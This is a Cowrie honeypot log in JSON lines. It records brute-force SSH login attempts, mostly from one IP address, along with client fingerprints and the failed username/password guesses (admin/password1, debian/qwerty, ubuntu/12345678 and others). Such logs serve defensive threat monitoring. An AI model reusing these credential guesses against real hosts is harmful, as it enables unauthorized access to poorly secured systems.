{"eventid":"cowrie.login.failed","username":"admin","password":"password1","message":"login attempt [admin/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:16.631060Z","src_ip":"103.143.231.24","session":"f629f58ae7ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:17.549976Z","src_ip":"141.11.88.14","session":"411fc5366504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:17.701534Z","src_ip":"103.143.231.24","session":"f629f58ae7ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":19076,"dst_ip":"10.17.0.5","dst_port":22,"session":"a711cc49cb82","protocol":"ssh","message":"New connection: 141.11.88.14:19076 (10.17.0.5:22) [session: a711cc49cb82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:21.092655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:21.506650Z","src_ip":"141.11.88.14","session":"a711cc49cb82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:21.525722Z","src_ip":"141.11.88.14","session":"a711cc49cb82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tuan","password":"tuan","message":"login attempt [tuan/tuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:23.521566Z","src_ip":"141.11.88.14","session":"a711cc49cb82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:25.158689Z","src_ip":"141.11.88.14","session":"a711cc49cb82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12044,"dst_ip":"10.17.0.5","dst_port":22,"session":"882f39783b40","protocol":"ssh","message":"New connection: 141.11.88.14:12044 (10.17.0.5:22) [session: 882f39783b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:29.228213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:29.554984Z","src_ip":"141.11.88.14","session":"882f39783b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:29.560185Z","src_ip":"141.11.88.14","session":"882f39783b40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andreas","password":"andreas","message":"login attempt [andreas/andreas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:31.182675Z","src_ip":"141.11.88.14","session":"882f39783b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:32.490795Z","src_ip":"141.11.88.14","session":"882f39783b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12144,"dst_ip":"10.17.0.5","dst_port":22,"session":"8224ad28d53a","protocol":"ssh","message":"New connection: 141.11.88.14:12144 (10.17.0.5:22) [session: 8224ad28d53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:37.181209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:37.185860Z","src_ip":"141.11.88.14","session":"8224ad28d53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:37.264863Z","src_ip":"141.11.88.14","session":"8224ad28d53a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qwerty","message":"login attempt [debian/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:37.707288Z","src_ip":"141.11.88.14","session":"8224ad28d53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:38.952103Z","src_ip":"141.11.88.14","session":"8224ad28d53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36790,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ed65cfba862","protocol":"telnet","message":"New connection: 172.81.62.90:36790 (159.203.135.109:23) [session: 4ed65cfba862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:41.021445Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27772,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fd35c61c9dc","protocol":"ssh","message":"New connection: 141.11.88.14:27772 (10.17.0.5:22) [session: 9fd35c61c9dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:43.427638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:43.477079Z","src_ip":"141.11.88.14","session":"9fd35c61c9dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:43.561532Z","src_ip":"141.11.88.14","session":"9fd35c61c9dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"12345","message":"login attempt [deploy/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:43.893070Z","src_ip":"141.11.88.14","session":"9fd35c61c9dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:45.066269Z","src_ip":"141.11.88.14","session":"9fd35c61c9dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17030,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0f99b8bf945","protocol":"ssh","message":"New connection: 141.11.88.14:17030 (10.17.0.5:22) [session: b0f99b8bf945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:51.223397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:51.445302Z","src_ip":"141.11.88.14","session":"b0f99b8bf945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:51.449770Z","src_ip":"141.11.88.14","session":"b0f99b8bf945","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"olga","password":"olga","message":"login attempt [olga/olga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:52.154313Z","src_ip":"141.11.88.14","session":"b0f99b8bf945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:53.337650Z","src_ip":"141.11.88.14","session":"b0f99b8bf945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36880,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4808613725c","protocol":"ssh","message":"New connection: 141.11.88.14:36880 (10.17.0.5:22) [session: e4808613725c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:58.022270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:58.378928Z","src_ip":"141.11.88.14","session":"e4808613725c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:58.382986Z","src_ip":"141.11.88.14","session":"e4808613725c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"12345","message":"login attempt [debian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:59.257250Z","src_ip":"141.11.88.14","session":"e4808613725c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:00.530923Z","src_ip":"141.11.88.14","session":"e4808613725c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36952,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c4c991f17b7","protocol":"ssh","message":"New connection: 141.11.88.14:36952 (10.17.0.5:22) [session: 1c4c991f17b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:05.859319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:06.289108Z","src_ip":"141.11.88.14","session":"1c4c991f17b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:06.297299Z","src_ip":"141.11.88.14","session":"1c4c991f17b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"abc123","message":"login attempt [sam/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:07.263027Z","src_ip":"141.11.88.14","session":"1c4c991f17b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:08.407820Z","src_ip":"141.11.88.14","session":"1c4c991f17b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14676,"dst_ip":"10.17.0.5","dst_port":22,"session":"231973958a5a","protocol":"ssh","message":"New connection: 141.11.88.14:14676 (10.17.0.5:22) [session: 231973958a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:13.193689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:13.222684Z","src_ip":"141.11.88.14","session":"231973958a5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:13.296344Z","src_ip":"141.11.88.14","session":"231973958a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:13.891667Z","src_ip":"141.11.88.14","session":"231973958a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:13:14.993318Z","src_ip":"141.11.88.14","session":"231973958a5a","protocol":"ssh"}
